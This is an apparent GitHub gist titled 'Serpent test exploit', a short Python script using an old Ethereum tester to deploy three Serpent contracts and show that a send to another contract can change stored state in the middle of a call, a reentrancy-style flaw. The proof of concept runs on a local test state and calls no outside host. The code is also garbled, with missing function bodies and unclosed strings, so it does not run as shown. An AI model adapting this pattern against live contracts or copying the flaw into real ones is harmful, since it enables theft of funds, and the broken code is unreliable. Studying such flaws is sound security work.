Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Serpent test exploit
from ethereum import tester as t
code1 = '''
data banana
event log_price(market:indexed)
def init():
self.banana = 5
def getBanana():
def stor():
log(type=log_price, msg.gas)
self.banana = 47
code2 = '''
extern code1:[stor:[]:int256]
code1 = {}
def any():
code3 = '''
extern code1:[getBanana:[]:int256, stor:[]:int256]
code1 = {addr1}
extern code2:[]
code2 = {addr2}
event log_price(market:indexed)
def hmm():
ogbanana = code1.getBanana()
send(code2, 5)
log(type=log_price, msg.gas)
banana = code1.getBanana()
# do stuff with banana but banana's value has changed due to the send!
return([ogbanana, banana]: arr)
s = t.state()
c1 = s.abi_contract(code1)
c2 = s.abi_contract(code2.format('0x' + c1.address.encode('hex')))
c3 = s.abi_contract(code3.format(addr1='0x' + c1.address.encode('hex'), addr2='0x' + c2.address.encode('hex')))
print c3.hmm(value=50)
print c1.getBanana()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment